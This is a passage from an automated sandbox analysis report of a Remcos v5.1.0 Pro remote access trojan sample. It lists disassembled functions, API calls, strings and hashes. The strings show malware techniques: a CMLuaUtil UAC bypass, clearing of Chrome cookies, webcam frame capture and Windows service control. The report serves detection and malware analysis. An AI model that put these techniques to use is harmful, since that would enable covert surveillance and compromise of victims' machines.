                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                                                              • String ID: (mG
                                                                                                                              • API String ID: 2536120697-4059303827
                                                                                                                              • Opcode ID: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
                                                                                                                              • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                                                                                                                              • Opcode Fuzzy Hash: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
                                                                                                                              • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                                                                                                                              Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                                                                                                                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                                                                                                                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                                                                                                                              • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastValue___vcrt_
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3852720340-0
                                                                                                                              • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                                                                                                                              • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                                                                                                                              • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                                                                                                                              • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                                                                                                                              Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Users\user\Desktop\rSOD219ISF-____.scr.exe), ref: 004075D0
                                                                                                                                • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                                                                                                                • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                                                                                                              • CoUninitialize.OLE32 ref: 00407629
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: InitializeObjectUninitialize_wcslen
                                                                                                                              • String ID: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                                                                                              • API String ID: 3851391207-4177542613
                                                                                                                              • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                                                                                                              • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                                                                                                                              • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                                                                                                              • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                                                                                                                              Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                                                                                                                              • GetLastError.KERNEL32 ref: 0040BAE7
                                                                                                                              Strings
                                                                                                                              • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                                                                                                                              • [Chrome Cookies not found], xrefs: 0040BB01
                                                                                                                              • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                                                                                                                              • UserProfile, xrefs: 0040BAAD
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: DeleteErrorFileLast
                                                                                                                              • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                                                              • API String ID: 2018770650-304995407
                                                                                                                              • Opcode ID: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
                                                                                                                              • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                                                                                                                              • Opcode Fuzzy Hash: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
                                                                                                                              • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                                                                                                                              Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • AllocConsole.KERNEL32(00475338), ref: 0041CDA4
                                                                                                                              • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                                                                                                              • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Console$AllocOutputShowWindow
                                                                                                                              • String ID: Remcos v$5.1.0 Pro$CONOUT$
                                                                                                                              • API String ID: 2425139147-1043272453
                                                                                                                              • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                                                                                                                              • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                                                                                                                              • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                                                                                                                              • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                                                                                                                              Function 0044333A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044335A
                                                                                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044336D
                                                                                                                              • FreeLibrary.KERNEL32(00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG), ref: 00443390
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                              • String ID: CorExitProcess$PkGNG$mscoree.dll
                                                                                                                              • API String ID: 4061214504-213444651
                                                                                                                              • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                                                                                                              • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                                                                                                                              • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                                                                                                              • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                                                                                                                              Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __allrem.LIBCMT ref: 0043AC69
                                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                                                                                                                              • __allrem.LIBCMT ref: 0043AC9C
                                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                                                                                                                              • __allrem.LIBCMT ref: 0043ACD1
                                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1992179935-0
                                                                                                                              • Opcode ID: 62332627f6279ece4fdf0222086194dbbb93a47f3123b1b6f0685f97dcd8be1f
                                                                                                                              • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                                                                                                                              • Opcode Fuzzy Hash: 62332627f6279ece4fdf0222086194dbbb93a47f3123b1b6f0685f97dcd8be1f
                                                                                                                              • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                                                                                                                              Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Sleep.KERNEL32(00000000,?), ref: 004044C4
                                                                                                                                • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: H_prologSleep
                                                                                                                              • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                                                                                                              • API String ID: 3469354165-3054508432
                                                                                                                              • Opcode ID: e2d5ac86fcfe21acd8ba2f579f05d6c4b7ac4be7400216cbb6f14c0a350a1ada
                                                                                                                              • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                                                                                                                              • Opcode Fuzzy Hash: e2d5ac86fcfe21acd8ba2f579f05d6c4b7ac4be7400216cbb6f14c0a350a1ada
                                                                                                                              • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                                                                                                                              Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: __cftoe
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4189289331-0
                                                                                                                              • Opcode ID: 73f4726c011166e6bdcb5754414c0ade346116ed487fada7dd59cfb8b2f8224a
                                                                                                                              • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                                                                                                                              • Opcode Fuzzy Hash: 73f4726c011166e6bdcb5754414c0ade346116ed487fada7dd59cfb8b2f8224a
                                                                                                                              • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                                                                                                                              Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                                                                                                                              • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                                                                                                                              • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 493672254-0
                                                                                                                              • Opcode ID: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
                                                                                                                              • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                                                                                                                              • Opcode Fuzzy Hash: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
                                                                                                                              • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                                                                                                                              Function 0044A004 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: __alldvrm$_strrchr
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 1036877536-263838557
                                                                                                                              • Opcode ID: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
                                                                                                                              • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                                                                                                                              • Opcode Fuzzy Hash: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
                                                                                                                              • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                                                                                                                              Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                              • _free.LIBCMT ref: 0044824C
                                                                                                                              • _free.LIBCMT ref: 00448274
                                                                                                                              • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                                                              • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                              • _abort.LIBCMT ref: 00448293
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$_free$_abort
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3160817290-0
                                                                                                                              • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                                                                                                                              • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                                                                                                                              • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                                                                                                                              • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                                                                                                                              Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                                                                                                                              • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                                                                                                                              • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 221034970-0
                                                                                                                              • Opcode ID: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                                                                                                              • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                                                                                                                              • Opcode Fuzzy Hash: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                                                                                                              • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                                                                                                                              Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                                                                                                                              • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                                                                                                                              • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 221034970-0
                                                                                                                              • Opcode ID: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
                                                                                                                              • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                                                                                                                              • Opcode Fuzzy Hash: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
                                                                                                                              • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                                                                                                                              Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                                                                                                                              • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                                                                                                                              • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 221034970-0
                                                                                                                              • Opcode ID: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
                                                                                                                              • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                                                                                                                              • Opcode Fuzzy Hash: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
                                                                                                                              • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                                                                                                                              Function 00442801 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 0-263838557
                                                                                                                              • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                                                                                                              • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                                                                                                                              • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                                                                                                              • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                                                                                                                              Function 00404CC3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121synchronizationthreadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                                                                                                                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404DD2
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 00404DDB
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 3360349984-263838557
                                                                                                                              • Opcode ID: e2f882af2a30351f686d04b3cd6d667c62da5f5effcafa466e9aedc6b7e26869
                                                                                                                              • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                                                                                                                              • Opcode Fuzzy Hash: e2f882af2a30351f686d04b3cd6d667c62da5f5effcafa466e9aedc6b7e26869
                                                                                                                              • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                                                                                                                              Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A74D), ref: 0040A6AB
                                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                                                                                                              • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,?,?,0040A74D), ref: 0040A6EE
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$CloseCreateHandleSizeSleep
                                                                                                                              • String ID: XQG
                                                                                                                              • API String ID: 1958988193-3606453820
                                                                                                                              • Opcode ID: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
                                                                                                                              • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                                                                                                                              • Opcode Fuzzy Hash: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
                                                                                                                              • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                                                                                                                              Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegisterClassExA.USER32(00000030), ref: 0041D55B
                                                                                                                              • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D576
                                                                                                                              • GetLastError.KERNEL32 ref: 0041D580
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
